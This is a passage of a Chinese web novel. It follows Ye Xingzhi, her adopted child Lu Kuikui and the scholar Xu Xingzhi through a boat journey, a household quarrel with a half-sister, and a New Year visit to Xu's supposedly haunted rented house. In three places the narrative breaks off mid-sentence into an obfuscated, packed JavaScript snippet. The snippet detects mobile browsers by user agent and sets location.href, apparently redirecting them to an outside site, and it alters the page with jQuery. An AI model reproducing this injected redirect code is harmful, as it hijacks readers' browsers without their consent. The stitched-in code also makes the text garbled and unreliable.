“我向船上的伙计接了个炉子,又买了四个鸡子、两个洋芋和两只鸡腿,做了一锅洋芋鸡子拌饭,叶小姐,葵葵,尝尝味道吧,阿杏、阿竹,你们也吃。”炉子就在这一层的楼梯口摆着,徐行之示意阿杏、阿竹帮忙盛饭。 一人一碗洋芋鸡子拌饭,那两只鸡腿,摆在了叶醒枝和陆葵葵面前。 “是糖醋味的!”洋芋、鸡子和小米被糖醋酱汁所包裹,叶醒枝身为官家小姐,但和三岁多的陆葵葵一样,此时口水都要流出来了。 陆葵葵大口大口吃起来,阿杏和阿竹也很快把一碗拌饭吃干净了。 叶醒枝感觉自己又活过来了,再也不会被鱼粥的腥味包裹了,“你做饭竟然这么好吃?” 徐行之半开玩笑,“生活所迫!” 叶醒枝感到奇怪,“都说君子远庖厨,你怎么会做饭?” “幼时徐叔徐婶有时不会给我留饭,我自然得学着做饭,科举在贡院里也需要准备吃食,前几年在徐家无事干,厨艺就提高了不少。”徐行之解释后又道:“你们先吃,我回去更衣。” “好。”顿了顿,看着徐行之额头边的汗渍,叶醒枝又道:“我待会儿要泡凉茶,你忙完后回来吧!” “多谢。”徐行之转身离开。 明明徐行之的身影已经出去船舱了,叶醒枝还没有收回目光。 九月初船上众人都穿上了秋衣,徐行之方才却是出了一身汗。 船舱里本就不通风,又只有一个小炉子做饭,定然是又热又辛苦。 叶醒枝在船上连个厨子都雇不到,可徐行知堂堂秋闱的解元竟然为她和陆葵葵做了一锅饭! 吃饱了饭,陆葵葵又成了灿烂的小葵花,想要拉着叶醒枝去外头玩,“娘亲,你看什么呢?” “没什么。”叶醒枝收回目光,心想,真是吃人嘴软阿! 难怪话本子里经常出现这样的桥段,当她遇到时,心头也很难不泛起涟漪。 陆葵葵摇晃着叶醒枝的手,“娘亲,出去玩嘛!” “等会让阿杏带你去。”阿竹阿竹出去洗碗筷、还炉子,叶醒枝趁机打听,“葵葵,在思南县县衙后院住的时候,你爹爹……会给娘亲做饭吗?” “会哟!有天夜里娘亲说肚肚饿,爹爹起床给娘亲做了好吃的,爹爹和娘亲说在喝茶,其实葵葵都闻到味道啦,才没有那样的茶呢!”陆葵葵“控诉”道。 叶醒枝:…… 原来小孩子什么都知道啊! 这般想着,叶醒枝面上却是露出了笑,会为她和陆葵葵下厨做饭,优点再加一! 徐行之又不是叶醒枝的小厮,做不到让他顿顿下厨来“伺候”她,再有几日就要到长安了,叶醒枝带着陆葵葵在船上溜达一圈,试着看能不能找到一个厨娘或者善做饭的妇人! 来到甲板向人打听时,叶醒枝没有注意到,不远处有位夫人正在用厌恶的眼神看着她和陆葵葵。 这位妇人叫赵三娘,是河清县酒楼的一位厨娘,前段时间发生变故,她被酒楼解雇,万念俱灰下,赵三娘突然很想来到全大陈最繁华的长安看一看。 上了船,赵三娘一直郁郁寡欢,当天夜里她竟然梦到了一本话本子。 那本话本子叫《长安俏厨娘》,女主自然是书名中的“俏厨娘”,男主是陆时安,一介书生最后成了思南县的县令。 话本子的剧情发展是俏厨娘女主年纪轻轻,凭借做出来的美食打败了酒楼大厨赵三娘,拿到了第一桶金,一年后俏厨娘去了长安开了个小饭馆,小饭馆和男主陆时安赁的宅子在同一个坊里,陆时安时常来小饭馆吃饭,俏厨娘用美食抓住了陆时安的胃。 陆时安高中后,官家小姐叶醒枝对陆时安死缠烂打,不惜毁清誉也要嫁给陆时安,生下了一个三岁半的女儿叫陆葵葵。 俏厨娘伤心欲绝,但依然在长安把小饭馆越开越大,而叶醒枝却嫉妒俏厨娘,经常带着陆葵葵去小饭馆闹事,做尽恶毒之事。最终,陆时安休妻,娶了俏厨娘为继室,带着俏厨娘去了思南县任职。 当然,这些剧情和赵三娘都没什么关系,她就是一个被俏厨娘凭借厨艺踩着上位的炮灰。话本子还有这么一段剧情,赵三娘被女主俏厨娘打败后,很是不服,也来到了长安和俏厨娘比厨艺,而叶醒枝这位官家小姐嫉妒俏厨娘的同时,也看不上赵三娘。 叶醒枝对付俏厨娘的时候,赵三娘也受到了牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531869|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连,被污蔑她做的饭吃死了人! 对于一个厨娘来说,这比天塌了打击还要大! 是以,赵三娘觉醒后就在船上打听有没有叶醒枝和陆葵葵这两号人,叶醒枝姿容出众,很是容易打听到,赵三娘暗中盯了叶醒枝和陆葵葵好几天了! 见叶醒枝要找厨娘,赵三娘走了过去,接下了这份活计。 蹲在小炉子边给叶醒枝和陆葵葵做午膳的时候,赵三娘犹豫要不要往锅里吐几口口水,或是弄些江水里的臭鱼烂虾放进去。 她还没来得及行动,只见三岁半的陆葵葵哒哒跑过来,“姨姨,你热不热?葵葵给你扇风呦!” 清凉的风赶走赵三娘身上的热意,她别过脸,“不热!不用你扇风!” “可是姨姨你都流汗了!”陆葵葵小手不停,“姨姨做饭给葵葵、娘亲、阿杏姐姐和阿竹哥哥吃,葵葵给姨姨扇风呦!” 看着这个扑哧扑哧扇着风的小葵花,赵三娘产生了怀疑,陆葵葵真是《长安俏厨娘》这本话本子里的恶毒小反派吗? 因为陆葵葵的扇风,赵三娘最终什么都没有做,给叶醒枝和陆葵葵做了一顿美食。 叶醒枝让阿竹给徐行之也送了一份过去,并表示徐行之接下来几天在船上的饭食由她包了! 得知叶醒枝雇了个厨娘,每到饭点时,徐行之常过来“偷师”。 叶醒枝不解,“你过来看赵三娘做饭干什么?” “偷师,有免费的机会提升一下厨艺,自然不能错过。”徐行之温声道。 等叶醒枝离开,徐行之盯着煮饭的炉子想,叶醒枝嘴上夸他做的那锅糖醋洋芋鸡子拌饭很好吃,第二天就雇了个厨娘,是不满意他的厨艺吗? 连喝几日鱼粥,有了赵三娘做的美食当对比,叶醒枝和陆葵葵每顿都能多吃一碗饭! 叶醒枝真心实意夸赞道:“三娘姐姐,你去长安开饭馆吧,生意一定会火爆的!” “三娘姐姐,你就是掌管美食的仙女吧!” 陆葵葵的小嘴巴被美食塞得成了一个圆,“三娘姨姨是仙女!” 叶醒枝把叶府的地址说了出来,“三娘姐姐,等你开了饭馆,一定要来告诉我,就是要走几个坊,我也要去你那里吃饭!” 陆葵葵小嘴巴喊起来,“葵葵也去!” 赵三娘:……怪不好意思的! 不过被叶醒枝和陆葵葵夸是掌管美食的仙女,赵三娘很是高兴。 一高兴,她更有心思鼓捣膳食了,也不再想着往叶醒枝和陆葵葵的膳食里加脏东西了! 谁让这俩人嘴甜呢? 赵三娘能看出来,叶醒枝和陆葵葵一大一小是真心喜欢她做的菜肴,对于因为厨艺被话本子女主俏厨娘比下来而被酒楼解雇的赵三娘来说,这是最有力量的安慰。 是啊,她可以是掌柜美食的仙女,赵三娘重新有了自信! 至此,再想到《长安俏厨娘》这本话本子,赵三娘对叶醒枝和陆葵葵没有那么多的厌恶了,两个在船上整天盼着吃饭、对她各种夸夸夸的人,能有多大坏心思呢? 并且,船上发生的事情和那本话本子的剧情也对不上,话本子里,陆葵葵是叶醒枝嫁给陆时安后生的女儿,现在不该出现在这条船上,但三岁半的陆葵葵不仅出现了,还和叶醒枝成了姐妹! 还有一点,《长安俏厨娘》里叶醒枝深深爱慕着陆时安,因为嫉妒女主俏厨娘而做了不少恶毒之事,然而经过这几日的相处,赵三娘觉得叶醒枝好像和那位徐解元关系不太一样。 既然和话本子对不上,赵三娘也就不再想这些事,既然来了长安,不如就像叶醒枝说的那样开一个小饭馆吧! 到达长安的那一天,叶醒枝把银子给赵三娘送去,对着赵三娘的厨艺又是一通夸,立下等赵三娘开了饭馆就去给她捧场的约定! 偷师了几天,徐行之也和赵三娘辞别。 望着面前的少年少女,赵三娘不由得感慨好生般配的一对,“徐解元,您偷师这几天可有什么心得?” 徐行之薄唇轻启,“行行出状元,下厨其实和读书一样,基本功要扎实,要有耐力,也得有天赋。” 在船舱里,围在火炉子面前,九月份的天气赵三娘也是大汗淋漓,可赵三娘愣是没偷一点懒! 徐行之拿下厨和读书比较,让赵三娘吃了一惊,这位徐解元没有看不起她这个厨娘啊! “徐解元,您说的是对的,但要是给心上人下厨的话,就用不上这些了。”赵三娘笑了起来,“您真心给她煮一碗饭就行了!” 徐行之一愣,赵三娘是看出什么了吗? 临下船前,赵三娘靠近徐行之又说了一句,“对了,徐解元,叶小姐爱吃酸甜口的,荤食爱吃鸡子和鸡肉,叶小姐也喜吃辣。” 耳垂泛起微红,徐行之欲否认,赵三娘就随着人流下了船。 他想说自己只是在船上太闲了,才会在饭点的时候过去偷师,又想解释跟着赵三娘学几招也没什么不好的,毕竟到了长安也不能顿顿都买着吃,是赵三娘误会了,他去观摩赵三娘做饭和叶醒枝没有什么关系。 但话到嘴边,徐行之明白那个道理,一句又一句的解释,不过是为了掩盖真实的想法。 见徐行之一动不动,叶醒枝牵着陆葵葵过来,“三娘姐姐和你说什么了?” 徐行之回过神,抱起陆葵葵,“没什么,我们下船吧。” 明年的会试近在眼前,王云和那位陆侯夫人也都在长安,所以,在船上遇到叶醒枝和陆葵葵那一刻的欣喜,只有他一个人知道就行了! 26. 打一巴掌 回到叶府,傍晚叶醒枝的父亲叶显山下值后,叶醒枝带着陆葵葵过来请安,庶妹叶醒秋拉长调子,“姐姐你再迟几天回来,都可以在赵家过新年了。” 叶醒枝回乡几个月祭奠其舅舅一事,叶显山很不满意,觉得此行耽误了她的亲事,她这位庶妹才敢这般上眼药。 叶醒枝微一抿唇,长睫半垂,“在外几个月终于归家,我给二妹妹、父亲还有周姨娘带了洛州和汴州的特产,原本以为二妹妹会想念我的,看来那些不值钱的特产是入不了二妹妹的眼了。” 好一副委屈的模样! 叶醒秋瞪大了眼睛,是被叶醒枝气的,“我……我没有!谁说我不想要那些东西?” 她要是不否认,在父亲叶显山看来,她瞧不起的不是那些不值钱的土特产,而是叶醒枝! 叶醒枝绽开浅浅笑颜,“二妹妹喜欢便好,我买了许多小玩意和特产,二妹妹有空过来挑一挑。” 见叶醒枝执意回乡但还是如此有孝心,叶显山心头的不满被冲散,询问了一些事宜后,看向脸蛋圆圆的陆葵葵,“这就是你给你舅舅收养的养女?” 叶醒枝拍了拍陆葵葵的小肩膀,“是,葵葵,这是表姑父。” “表姑夫!”陆葵葵露出一个大大的笑。 叶显山心里想,真是像朵小葵花! 叶醒枝收养陆葵葵,给自己的舅舅留一个后是好事,即便这份孝心不是对着他的,叶显山也不好阻拦,再者叶醒枝五月份离开山下村前写了一封信寄往长安,提到了舅舅留给她八成遗产的事情,等于说把陆葵葵带回叶府,也是用叶醒枝舅舅留下的遗产来养她,叶显山不用费心思还能白赚名声。 用过晚膳,叶显山就让叶醒枝带着陆葵葵回去休息了,不过,临走前叶显山又叮嘱一句,“错过了春日的赏花宴,秋景正好,长安城里过段时间还有赏菊宴,枝枝,你可以准备起来了!” 眸子半垂,叶醒枝应了下来,“是,父亲。” 回去的路上,叶醒枝有些烦。 等陆葵葵在叶府适应后,她准备再写几本话本子投到书肆里,当下重任是赚养孩子的钱,叶醒枝没有心思去什么赏菊宴上相亲。 就算不按部就班嫁给陆葵葵的爹爹,选择和其他人结婚,叶醒枝也必然是要带着陆葵葵一起去夫家的,这就导致很难选到称心如意的亲事。 若是嫁给一个有才但贫穷的读书人,叶醒枝不仅要养一个陆葵葵,还得养那穷书生的一家子,若高嫁到大户人家,自然能给陆葵葵一碗饭吃,但这一碗饭岂是容易吃进嘴里的? 父母和离后,叶醒枝虽没有悲惨到寄人篱下,可十年来的日子,和寄人篱下有几分相似,正因如此,叶醒枝绝不想委屈了陆葵葵。 给陆葵葵添置了秋冬的衣衫和小鞋子,等陆葵葵在叶府适应后,叶醒枝就开始构思第二本话本子。 自然还是想要写志怪话本子,但以什么鬼故事为主题叶醒枝还没有想好。 在她动笔前两天,叶醒枝收到了徐行之托乞儿传来的口信。 从乞儿口中得知徐行之的住处,叶醒枝有些惊讶,徐行之落脚的那个坊租金不算便宜,不会是哪位商贾替他出的租金吧? 中举后被商贾们讨好,对于徐行之这样的举人来说是常事,尤其徐行之出身贫寒,难不成读书是为了让他两袖清风吗? 但拿了商贾的好处,总有要偿还的时候。 让阿竹搬着两盆花草,叶醒枝带着陆葵葵去了徐行之的新家。 不过,站在徐行之新租的院子门口,叶醒枝、陆葵葵和阿杏瞪大了眼睛。 这段时间经过叶醒枝的悉心教导,陆葵葵彻底记住了称呼。 “姐姐,哥哥就住在这里吗?”陆葵葵嘴巴成了一个圆,“门都破了,哥哥怎么锁门睡觉啊?” “可能吧!”叶醒枝一脸诧异,屋檐破破烂烂,这座一进的院子看起来像是会闹鬼。 叶醒枝怀疑找错了地方,正犹豫要不要找人打听,一位老婆婆过来好心劝告,“小娘子,你带着你妹妹离远点,别进去。” 叶醒枝惊讶地道:“婆婆,为什么?” 那位老婆婆本不愿意解释,听到叶醒枝能说一口流利的官话,才道:“有个老头子被他侄子杀了,死在了里头。” 叶醒枝道了谢,感情这是个凶宅啊! 徐行之可是解元,会租一座凶宅吗? 叶醒枝还没想好要不要进去,徐行之颀长的身影出现在门口。 徐行之迎上来,“叶小姐,葵葵,阿竹兄弟。” 叶醒枝确认道:“你租的是个凶宅啊?” “是。”徐行之不好意思笑了一下。 长安居,大不易,要想找一个清静的一进院子,一年租金少说也得几十两,徐行之索性找牙人租了闹鬼的凶宅。 “你胆子真大!”陆葵葵由衷夸赞。 青天白日,让陆葵葵等在门外,叶醒枝跟着徐行之进去逛了一圈,很是清静,“可是门窗都破了,修缮也要一笔银子!” “这些由那个牙人掏钱。”徐行之随即解释。 原来,徐行之去牙行的时候,负责的那位牙人欺骗了徐行之,谎称这是座长寿屋,在这座一进院子里去世的那个人是喜丧,要价并不便宜。 徐行之在附近找了两个乞儿打听到真实情况,其实是座凶宅! 那位牙人见徐行之穿衣打扮并不富贵,张开又要租凶宅,以为徐行之一个穷外地人好忽悠,不料,徐行之搬出大陈律法,见徐行之对这座凶宅了如指掌,那位牙人不得不息事宁人,修缮门窗便是那位牙人给的补偿。 “你太厉害了!”叶醒枝再一次夸赞。 徐行之说是通过几个乞儿打听到了真实情况,那十个乞儿里八个都各有各的道,再加上徐行之非长安本地人,便是拿着银子,那些乞儿也不会说实话。但徐行之不仅从乞儿嘴里打听到了这座凶宅的情况,又从牙人那里拿到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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摸了摸陆葵葵的小额头,往日灿烂的小葵花此时无精打采,叶醒枝心疼坏了,看了一周,注意到房中的窗棂大开。 叶醒枝问道:“阿杏,可是你打开了窗棂?” “不是,小姐,担心葵葵受凉,我只开了条缝通风。”阿杏看过去也是一脸惊讶,十一月份的天气,她哪里敢把窗棂全部打开? 叶醒枝微微蹙眉,“那今天可有其他人来我房里?” 阿杏恍然,“上午时二小姐院子里的一个丫鬟找我有事,不方便带葵葵,我就把葵葵留在了房里,若是有人捣鬼,应该就是那个时候。” 是叶醒秋? 叶醒枝神色冷下来,回到叶府她忙着照顾陆葵葵和写话本子赚钱,没心思搭理这个庶妹搞什么宅斗,但叶醒秋非要弄些不入流的手段,还胆敢对三岁半的陆葵葵下手! 给陆葵葵掖了掖被角,叶醒枝径直去了叶醒秋的院子。 “姐姐来找我干什……”叶醒秋刚从周姨娘那里回来,只是她最后一个字还没吐出来,有些心虚的脸上就传来火辣辣的疼! 27. 过新年 叶醒枝打了她一巴掌! 叶醒秋没想到叶醒枝会打她一巴掌,脸庞强烈的疼痛让叶醒秋产生了惧意,“我不过就是打开了窗棂,你凭什么打我?” “不过就是打开窗棂?”叶醒枝冷哼一声,“葵葵还不到4岁,你把窗棂打开让她受了两次风寒,可是会要葵葵的命的!” 叶醒枝再扇陆葵葵一巴掌的心都有! 对一个三岁多的孩童下手,叶醒秋自知理亏,可是,再过几日就是赏菊宴,叶醒枝和她一起参加赏菊宴,那些贵公子的目光一定会落到叶醒枝身上,她没想要害陆葵葵,只是想着陆葵葵生病了可以留叶醒枝在府里照顾,这样的话,叶醒枝便不会在赏菊宴上抢了她的风头。 叶醒秋捂着脸,“我说了我没什么坏心思,你要是生气,把我房中的窗棂打开就好了!” “何必那么麻烦!”庭院里摆着装满水的荷花缸,叶醒枝上前一步,用力把叶醒秋的脑袋往荷花缸里按,“你也该尝尝受风寒的滋味了!” 荷花缸里的冷水直往叶醒秋的耳鼻里钻,叶醒枝这一句话,透过缸中的凉水传进叶醒秋的耳中,似是比这十一月份的凉水还要冷厉! 在山下村的那几个月,叶醒枝时常跟着李婶子或是带着陆葵葵去老李山上,气力增长了不少,叶醒秋一个闺阁小姐,此时只能任由自己的脑袋被按进荷花缸里。 等叶醒枝离开,湿淋淋的叶醒秋瘫坐在地上,不过几息间,她却觉得自己要被冻死了! 叶醒秋哭哭啼啼,“我……我要向父亲告状!” 回到房里,净手后叶醒枝急忙问道:“葵葵可有起热?” “没有,小姐。”阿杏摇摇头。 叶醒枝松了口气。 夜深前又给陆葵葵喂了汤药,陆葵葵小脸儿红扑扑的,“姐姐,抱抱!” “好,姐姐这就和你一起睡觉。”叶醒枝一颗心成了棉花,说出来的话也是软乎乎的。 阿杏忙道:“小姐,风寒染人,今天夜里我来照顾葵葵吧!” “没事。”即便会传染,叶醒枝也不怕了! 没有给陆葵葵当娘亲的时候,府里若有人生病她是会避开的,可有了陆葵葵后,叶醒枝不在意这些了! 若是因为“为母则刚”,可上榻后把陆葵葵软绵绵的小身子抱在怀里,叶醒枝杏眼却泛起了红。 她不是一个好娘亲! 陆葵葵生病了也只能对她喊一声“姐姐”,像是做贼似的,这两次起风寒,也是因为她没有照顾好陆葵葵。 想到这儿,叶醒枝有了一个念头。 她那个庶妹叶醒秋骄纵无礼,叶醒枝不怕和她搞宅斗,可叶醒枝不想陆葵葵再受到伤害,只有离开叶府,陆葵葵才可以自由自在喊她娘亲,也不会再被人暗算! 可是,她一个未出阁的小娘子,还无法离开叶府搬到外面住。 那么,她得和周姨娘与庶妹叶醒秋好好谈谈。 翌日,等叶显山下值后,叶醒秋告状告到了父亲叶显山这里。 等听到叶醒秋的脑袋被叶醒枝按到了荷花缸里,叶显山沉下脸,“让枝枝过来!” 看着叶醒枝,叶显山厉声道:“你妹妹就是有错,你也不该把她往荷花缸里按!” 叶醒枝立在那里,“如果葵葵不只是受风寒,而是有了好歹,父爱也觉得二妹妹仅仅只是有错吗?” “寒冬腊月,故意支走我房里的阿杏,打开全部窗棂,留葵葵一个三岁多的孩童在房中,不到半个月害了葵葵两次,父亲,如果二妹妹幼时也有人这样待她,您和周姨娘会轻飘飘放过吗?” 将心比心,叶显山说不上来话了,想要劝和的周姨娘也没吐出一个字。 叶醒秋不服,“你说这么严重干什么?她不过就是个养女罢了!” “放肆!”叶显山先一步呵斥出声。 陆葵葵是叶醒枝舅舅的养女,当年若是没有叶醒枝的舅舅砸银子,叶显山连给自己病逝的父亲打一口上等棺材的银子都拿不出,陆葵葵一旦有了好歹,外人就敢指着叶显山的鼻子骂! 叶显山沉着的脸看向叶醒秋,“你向你姐姐赔罪,保证以后不会再欺负葵葵了!” 叶醒秋拉着一张脸不愿意,向叶醒枝赔罪、做保证,那和昨夜她的脑袋被叶醒枝按在荷花缸里有什么区别? 叶醒枝又添一把柴,“父亲,二妹妹若是对女儿下手也不奇怪,可她为何要对葵葵一个三岁多的稚童下毒手?” “二妹妹,你就这么厌恶葵葵吗?” “我没有!”叶醒秋哪里敢承认,只好把自己的打算说了出来,“我没有想要害她,只是想着陆葵葵生病了,你就不能去几天后的赏菊宴了。” 叶显山脸色越发沉重,叶醒秋是何打算他岂能听不出来? 若叶醒秋不是个姑娘家,叶显山只想训斥她一句“混账东西”! “所以,二妹妹是担心我抢你的风头?”叶醒枝故意道:“可是,即便这次去不成赏菊宴,下次还有明年的赏花宴,我还是会抢了你的风头啊!” “你要议亲,就得让我这个当姐姐的避开吗?就得对葵葵下毒手吗?” 叶醒秋说不出来话了,“我……” “向你姐姐赔罪!葵葵再有什么好歹,秋秋,为父就要向你和你姨娘要一个交代!”叶显山怒喝道。 离开前,叶显山又道:“你姐姐昨夜是去了你院子,但你伤害葵葵在先,今个你也向为父告状了,就当扯平了,往后你不许再如此行事,把姐妹情谊挂在心中!” 叶醒秋有苦难言,哪里扯平了?昨天晚上她被叶醒枝打了一巴掌,脑袋又被叶醒枝按到了荷花坑里,今个受了叶显山一顿训斥不说还得向叶醒枝赔罪,都是她单方面被挨打训斥,到底哪里扯平了? 一家之主离开后,厅堂里安静下来,叶醒枝没有立即离去,望着瞪着她的叶醒秋,“你还不服,可这一切是我的错吗?是葵葵的错吗?” 叶醒秋:“谁让你长了那么一张脸!你要是去年或者春季的赏花宴上就定亲了,我也不会做这些事情!” 叶醒枝笑声里透着讥讽,“同是一个爹生的,你没长一张养眼的脸,竟是我的错吗?” 叶醒秋咬着嘴唇,下意识看了眼坐在圈椅里的周姨娘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545009|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周姨娘:…… 周姨娘心头涌出火气,恨不得狠狠揪自己女儿叶醒秋的耳朵! 叶醒枝神色冷下来,“我没心思跟你和周姨娘吵来吵去,回到山下村的那几个月,我发现便是村里最疼爱女儿家的人家,也不会把田地当成陪嫁。那些地主也是,手里几百亩地,不会拿出一亩给自己女儿当陪嫁,有个例外的,是因为他女儿招了个赘婿。” “叶醒秋,你担心我在赏菊宴上抢你的风头,可是,我们是一样的!” 叶醒秋愣在原地,“什么一样?” 叶醒枝如枝上的叶儿般清灵润秀,只要她在赏菊宴上露面,一定能找到好亲事的,怎么会和她一样? “即便我能高嫁,父亲也不会把半数财产给我当陪嫁,你也是,在父亲眼里,我们没有什么区别!”叶醒枝道。 “这么多年来,你总是在府里找我的麻烦,你觉得是因为我,你才没能成为嫡女,周姨娘没能成为叶府的主母。可我要是有这么大的本事,还会有你和周姨娘的存在吗?这么多年来,让周姨娘只能当一个姨娘的人,是我吗?” 叶醒秋咬着唇的力度更重了,她心里有了答案。 是她的父亲叶显山! 一言不发的周姨娘,心中的答案和叶醒秋一模一样! 叶醒枝的声音继续响起,“我们这些小娘子,没有办法坐在贡院里考取功名,身为官家小姐,抛头露面做生意也不体面,我们只能待在这一方天地,所以你要找我的麻烦,觉得是我没能让你成为嫡女,觉得议亲时我会抢你的风头,可是,叶醒秋,我们的处境其实是一样的,当小娘子的时候待在叶府里,嫁人后待在夫家相夫教子。既然这样,井水不犯河水不好吗?我无意与你争抢什么!” 叶醒枝的这番话,像是一道惊雷,让叶醒秋和周姨娘满脸诧异。 叶醒秋想,仔细想想,叶醒枝说的很对! 她经常冲陆葵葵找事,是想把叶醒枝压下去,好让自己在府里获得父亲的宠爱和看重,得到更多的好处,可是,即便把叶醒枝压下去了,她依然只有叶府这一方天地。哪一日父亲叶显山续娶生个儿子,叶府的一切都是那个儿子的! 宅斗到最后,好像也得不到什么! 叶醒枝最后道:“只要你不在使坏,我不会和你争抢,你把你算计人的心眼,放在叶府外不好吗?那样你才能得到更多!” 叶醒秋不再咬唇,“我知道了!” 望着叶醒枝离去的背影,周姨娘心绪复杂,她从外室变成叶显山的姨娘,为了能被抬为主母,这么多年费了不少心思,可竟然还没有叶醒枝一个十六岁的小娘子看得分明。 周姨娘:“秋秋,把这些话记在心里!” 叶醒秋还没有完全领悟,但她把叶醒枝的这些话记下来了! 等陆葵葵痊愈后,叶醒枝继续忙话本子的事,给陆葵葵准备的冬衣越来越厚,腊月到了! 房里只有母女两人,陆葵葵穿着一身粉嫩的冬裙,“娘亲,可以和爹爹一起过年堆雪人吗?” 叶醒枝终于想起了徐行之,徐行之今年得一个人在那座凶宅里过新年了! 28. 心动(一) 爆竹声中,坊里只有徐行之住的这座凶宅最安静。 书房中,徐行之下意识看向窗棂,因着家家户户张灯结彩,除夕的夜也被染成了绚烂的红。 墨眸半垂,今夜要守岁,徐行之想要不要去买些吃食,可是,房里只他一人,买回来的吃食是何滋味也只有他一个人能尝到。 徐行之突然想到了叶醒枝和陆葵葵,叶醒枝此时应该在府里和家人团聚,三岁多的陆葵葵估计拿着压祟钱笑成了花。 徐行之唇角微扬,可再次看向窗棂外,听着坊里各家的欢声笑语,徐行之桃花目里的笑意散去。 刺骨的冷意从窗棂进来,尽数钻进徐行之的心头,一个人过新年也没什么,徐行之在心里告诉自己。 温习功课应该就不会想东想西了,徐行之收敛心神。 坊里时不时有孩童清脆的笑声飘进书房里,徐行之没了困意,等到第二天天亮时,坊里才渐渐恢复安静。 那些守岁的人应该回房补觉去了,此时,各家和徐行之住的这座凶宅一样安静,徐行之不太安宁的心神有了些许平静,这样才显得他一个人没那么冷清。 他甚至有个恶毒的想法,要是新年这几天能一直这么安静就好了! 想法刚从心头升起,有规律的叩门声就打破了这座凶宅的宁静。 徐行之起身,眉头皱了皱,不会是有胆大的孩童来讨压岁钱的吧? “爹爹!” 门闩从里边被抽掉,这声清脆的“爹爹”传入徐行之耳中。 徐行之一愣,抽门闩的动作更快了! 小葵花清脆的声音还在继续,“哥哥快开门,哥哥猜猜葵葵是谁呦!” 徐行之桃花目里重新漾起笑意,是比平时还要浓的笑意,迅速打开木门,少女和陆葵葵那很是相似的两张脸映入徐行之的眼帘,“是葵葵,哥哥猜对没有?” 陆葵葵的小脸又成了小葵花那般灿烂,“哥哥猜对了哟!” 徐行之温声道:“那哥哥可有奖励?” 陆葵葵眼睛圆溜溜的,“奖励哥哥给葵葵一个压祟钱!” 徐行之忍不住笑出声,“好!” 叶醒枝也露出笑,“那你哥哥可亏大了!” 桃花目看向叶醒枝,徐行之道:“叶小姐,你和葵葵怎么来了?” 少女一身新衣,笑靥和新衣一样明媚,“葵葵念叨着要和你一块过新年,要不是昨夜要守岁,葵葵早就来了!” 许是叶醒枝和陆葵葵的笑意太明媚,昨夜钻进徐行之心里的那些冷意好像此时尽数被驱赶了出来,“你们先进来,我去买些吃食。” “坊里哪有卖吃的?我带了饺子呢!”叶醒枝晃了晃拎着的食盒,“有几个是我和葵葵包的哦!” 明明很欢喜,徐行之嘴上还是道:“那怎么好意思?” “你一个人住嘛,应该的!”叶醒枝狡黠一笑,“就当是你刚才猜对的奖励!” 一大一小出现在房中,这座被人惧怕的凶宅瞬间热闹了起来。 食盒打开,几盘饺子还冒着热意,叶醒枝笑吟吟,“猜猜哪个是葵葵包的?” 小葵花包的饺子可太好猜了,压根没有饺子的样,徐行之很配合指了指,“这个,还有这个。” 见徐行之猜对了,陆葵葵很高兴,“哥哥,葵葵棒不棒?” “葵葵最棒了!”徐行之竖起大拇指。 看向摆在室案上的几盘饺子,徐行之拿来三双碗筷,“我猜这些是叶小姐你包的。” “你怎么知道?”叶醒枝杏眸瞪大。 “这几个饺子最好看。”徐行之勾了勾唇。 叶醒枝得意笑出来,“不愧是解元,就是有眼光!” 少女好听的说话声和陆葵葵叽叽喳喳的声音飘在房里,这座昨夜冷清的没有什么人烟的凶宅,此时成了坊里最热闹的地方。 先尝了陆葵葵包的饺子,又吃了一个叶醒枝包的饺子,徐行之心想,他才不喜欢安静呢! 虽然没有料到叶醒枝和陆葵葵今天会过来,但徐行之早就给陆葵葵准备好了压祟钱,“本想着过几日再去叶府给葵葵送去的。” 收到压祟钱,陆葵葵太过开心,忘记继续喊哥哥,“谢谢爹爹!” “爹爹,葵葵还想堆雪人!” 担心打扰到徐行之,叶醒枝道:“你哥哥他还要温书,待会回府里我陪你堆雪人!” “无妨!”徐行之唇角微勾,“昨夜看了一夜的书,温书也要劳逸结合。” 徐行之询问陆葵葵想要堆什么雪人,小葵花叭叭像个小喇叭,徐行之牵着她的手出去房间。 不过,经过叶醒枝时,脚步微顿,徐行之停了下来,又拿出一个荷包,递向叶醒枝,“叶小姐,新年快乐!” 叶醒枝愣了愣,水盈盈的杏眼弯成了月牙儿,“谢谢,徐公子!” 她也有压祟钱啊! 唯一的表姐难产而亡,叶醒枝又没有表哥,这是第一次收到同龄男子给她的压祟钱! 徐行之带着陆葵葵去院子里堆雪人,叶醒枝看了一会儿也生出兴趣,一家三口堆了三个雪人,摆在凶宅的院子里,直到上元节还未融化。 徐行之看书累了来院子里散步,望着这三个雪人,感觉租赁的这座一进小院不再像往日那样冷清了! 灯烧月下月如银[注1],上元节万灯明亮,阿杏、阿竹在一旁护着,叶醒枝带着陆葵葵出来看花灯。 给陆葵葵买了一盏兔子灯,临回叶府时,想了想,叶醒枝多买了一盏花灯,去了徐行之那里。 没有多停留,让陆葵葵和徐行之见了一面,把花灯留下,叶醒枝回了府里。 